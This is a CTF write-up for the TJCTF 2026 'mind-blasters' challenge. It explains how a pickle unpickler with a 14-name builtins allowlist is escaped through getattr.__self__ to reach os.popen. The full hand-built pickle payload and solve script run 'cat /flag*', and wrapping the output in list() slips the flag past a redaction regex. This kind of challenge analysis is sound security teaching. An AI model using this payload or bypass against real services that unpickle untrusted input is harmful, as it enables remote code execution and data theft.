mind-blasters — TJCTF 2026

Description

Rick's Mind Blows are now protected by a blacklist! You won't be able to hack this one!

Connection: nc tjc.tf 31420 Attachment: server.py

A Python server accepts base64-encoded pickle data and deserializes it using a RestrictedUnpickler with a strict allowlist of only 14 builtins. The deserialized result is converted to a string and returned, but any flag pattern matching tjctf{...} is redacted before output. The goal is to achieve RCE and exfiltrate the flag despite both restrictions.

Analysis

RestrictedUnpickler — Allowlist Model

Unlike the companion challenge "mind blowers" (which uses a blocklist), this challenge uses a strict allowlist. The find_class method only permits loading names from the builtins module that appear in the ALLOWED set:

ALLOWED = {
    'type', 'getattr', 'len', 'range',
    'str', 'int', 'bytes', 'list', 'dict',
    'tuple', 'bool', 'set', 'frozenset', 'bytearray',
}

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == 'builtins' and name in ALLOWED:
            return getattr(builtins, name)
        raise pickle.UnpicklingError('not allowed')

This means:

• Only the builtins module is accessible — no os, subprocess, importlib, etc.
• Only 14 specific names are allowed — no eval, exec, __import__, open, license, help, etc.
• Any attempt to load a non-allowed class via pickle's GLOBAL/STACK_GLOBAL opcodes raises UnpicklingError

Output Filter

After deserialization, the server applies a regex to strip the flag:

result_str = re.sub(r'tjctf\{[^}]*\}', '[REDACTED]', result_str)

Even if we achieve RCE and read the flag file, the output will be redacted if it contains the continuous tjctf{...} pattern.

The Critical Vulnerability: getattr.__self__

The key insight is that getattr is in the allowed set. In CPython, built-in functions (builtin_function_or_method type) have a __self__ attribute that points to the module they belong to:

>>> getattr.__self__
<module 'builtins' (built-in)>
>>> type(getattr.__self__)
<class 'module'>

So getattr(getattr, '__self__') returns the entire builtins module object — not just the 14 allowed names, but everything including __import__. This works because:

1. getattr is loaded via find_class (passes the allowlist check)
2. The REDUCE opcode calls getattr(getattr, '__self__') at runtime
3. Runtime getattr calls do not go through find_class — they are normal Python attribute lookups
4. The returned builtins module gives unrestricted access to all builtins

This is fundamentally different from the "mind blowers" approach (which uses license.__class__.__init__.__globals__) because here license is not in the allowlist — we must bootstrap from getattr alone.

Output Filter Bypass: list() Wrapping

The regex tjctf\{[^}]*\} matches a continuous flag string. By wrapping the flag in list(), the str() representation becomes:

>>> str(list("tjctf{flag}"))
"['t', 'j', 'c', 't', 'f', '{', 'f', 'l', 'a', 'g', '}']"

This list representation never contains the continuous tjctf{...} pattern, so the regex doesn't match and the output is not redacted.

Solution

Exploit Chain

The full chain, expressed as nested Python calls:

Step 1: builtins_mod = getattr(getattr, '__self__')           → builtins module
Step 2: imp          = getattr(builtins_mod, '__import__')    → __import__ function
Step 3: os_mod       = imp('os')                              → os module
Step 4: popen_fn     = getattr(os_mod, 'popen')              → os.popen function
Step 5: popen_obj    = popen_fn('cat /flag*')                 → popen file object
Step 6: read_fn      = getattr(popen_obj, 'read')            → read method
Step 7: flag_str     = read_fn()                              → flag string
Step 8: result       = list(flag_str)                         → list of chars (filter bypass)

Pickle Bytecode

The payload uses protocol 2 with manual bytecode construction. Key opcodes:

Opcode	Name	Effect
\x80\x02	PROTO	Protocol 2 header
c	GLOBAL	Load builtins.getattr or builtins.list via find_class
p0	PUT	Store top of stack in memo slot 0
g0	GET	Push memo slot 0 onto stack
(	MARK	Start of argument tuple
V...	UNICODE	Push Unicode string
t	TUPLE	Build tuple from mark
R	REDUCE	Call callable with args tuple
0	POP	Discard top of stack
.	STOP	End pickle stream

Solve Script

#!/usr/bin/env python3
"""
Pickle exploit for mind-blasters (TJCTF 2026)

Restricted Unpickler allows only:
  builtins: type, getattr, len, range, str, int, bytes, list, dict,
            tuple, bool, set, frozenset, bytearray

Key chain: getattr(getattr, '__self__') → builtins module → __import__ → os → popen → flag
Output filter bypass: list(flag_string) breaks the continuous tjctf{...} pattern
"""
import pickle
import pickletools
import io
import base64
import socket
import ast

def build_payload(cmd='cat /flag*'):
    """Build pickle bytecode: list(os.popen(cmd).read())"""
    p = b'\x80\x02'                          # Protocol 2

    # memo[0] = getattr
    p += b'cbuiltins\ngetattr\np0\n'

    # memo[1] = getattr(getattr, '__self__') → builtins module
    p += b'(g0\nV__self__\ntRp1\n0'

    # memo[2] = getattr(builtins, '__import__') → __import__
    p += b'g0\n(g1\nV__import__\ntRp2\n0'

    # memo[3] = __import__('os') → os module
    p += b'g2\n(Vos\ntRp3\n0'

    # memo[4] = getattr(os, 'popen') → os.popen
    p += b'g0\n(g3\nVpopen\ntRp4\n0'

    # memo[5] = os.popen('cat /flag*') → file object
    p += b'g4\n(V' + cmd.encode() + b'\ntRp5\n0'

    # memo[6] = getattr(file_obj, 'read') → read method
    p += b'g0\n(g5\nVread\ntRp6\n0'

    # memo[7] = read() → flag string
    p += b'g6\n(tRp7\n0'

    # list(flag_string) → list of chars (bypasses regex filter)
    p += b'cbuiltins\nlist\n(g7\ntR.'

    return p

payload = build_payload()
encoded = base64.b64encode(payload)

# Disassemble for verification
print("=== Pickle Disassembly ===")
pickletools.dis(io.BytesIO(payload))
print()

# Connect and send
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(30)
sock.connect(('tjc.tf', 31420))

data = b''
while b'>' not in data:
    data += sock.recv(4096)

sock.sendall(encoded + b'\n')

resp = b''
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        resp += chunk
    except socket.timeout:
        break
sock.close()

result = resp.decode()
print(f'Response: {result}')

# Parse list of chars back to flag string
if 'Result:' in result:
    list_str = result.split('Result: ', 1)[1].strip()
    chars = ast.literal_eval(list_str)
    flag = ''.join(chars)
    print(f'\n[+] FLAG: {flag}')

Server Output

=== Rick's Mind Blaster ===
Maximum security. Nothing gets through.

Upload a mind blaster (base64 encoded) >
Result: ['t', 'j', 'c', 't', 'f', '{', 'p', '1', 'c', 'k', 'l', '3', '_', 'r', '1', 'c', 'k', '_', 'y', '0', 'u', '_', 's', '0', 'l', 'v', '3', 'd', '_', 'h', '1', 's', '_', 'c', 'h', 'A', '1', '1', '!', '}', '\n']

Reassembled: tjctf{REDACTED}